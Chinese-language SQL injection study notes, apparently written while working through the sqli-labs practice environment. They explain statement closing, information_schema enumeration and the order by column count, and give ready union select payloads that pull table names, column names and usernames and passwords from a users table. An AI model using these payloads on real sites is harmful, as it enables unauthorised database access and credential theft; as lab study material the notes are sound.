原理:在可以传入的参数的地方(GET,POST,Cookie)带入正常SQL查询语句,对服务器来说就是恶意的代码传入
利用:同SQL注入可以直接有效的获取服务数据库当前用户所能访问的所有信息(需要知道数据库的结构),利用SQL注入的核心是闭合前面的SQL语句,然后执行我们后面的语句。
学习的环境:phpstudy集成环境+SQL注入天书
这个环境默认的MYSQL会存在一个数据库information_schema,里面有3个表存放了所以在当前环境下的数据库的结构
1.columns:存放列信息(名) table_schema table_name column_name
2.schemata :数据信息(名) schema_name
3. tables:存放表信息(名) table_schema table_name
注入点的寻找:
一般寻找跟ID有关的参数带入点,手工尝试是否可以注入,当然也有用工具去扫不一定能扫出来(啊D,明小子)。一般在带有数字参数的地方(id=1)拼接
or 1=1 --+ ; ' or 1=1--+; "or 1=1 --+; ) or 1=1 --+; ')or ;") or 之类的
实战传入正常的ID值
传入一个否定的语句 1' and 1=2 --+(结尾都需要--+ (就是#号)去注释后面的语句让后面的语句没办法执行,执行我们想执行的语句就OK了)
获取当前表的数据列 使用 order by
当我们输入3的时候回显正确
当我们输入3的时候回显正确,确定当前有3个列的数据,对应下图的位置
可以看到只2个地方是可以回显数据的
注:id=-1是反之前的没有内容回显,好回显我们需要的数据
注入获取当前数据库和数据库版本
获取当前数据库有哪些表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
获取users表里面的字段 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
获取其他用户的信息比如ID=2的
?id=-1' union select 1,username,password from security.users where id =2 --+
小结:这种没有过滤的SQL语句,只要闭合了第一个变量就可以通过正常的SQL语句慢慢注入出我们想要的数据,结尾都需要--+去注释后面的语句让后面的语句没办法执行,执行我们想执行的语句就OK了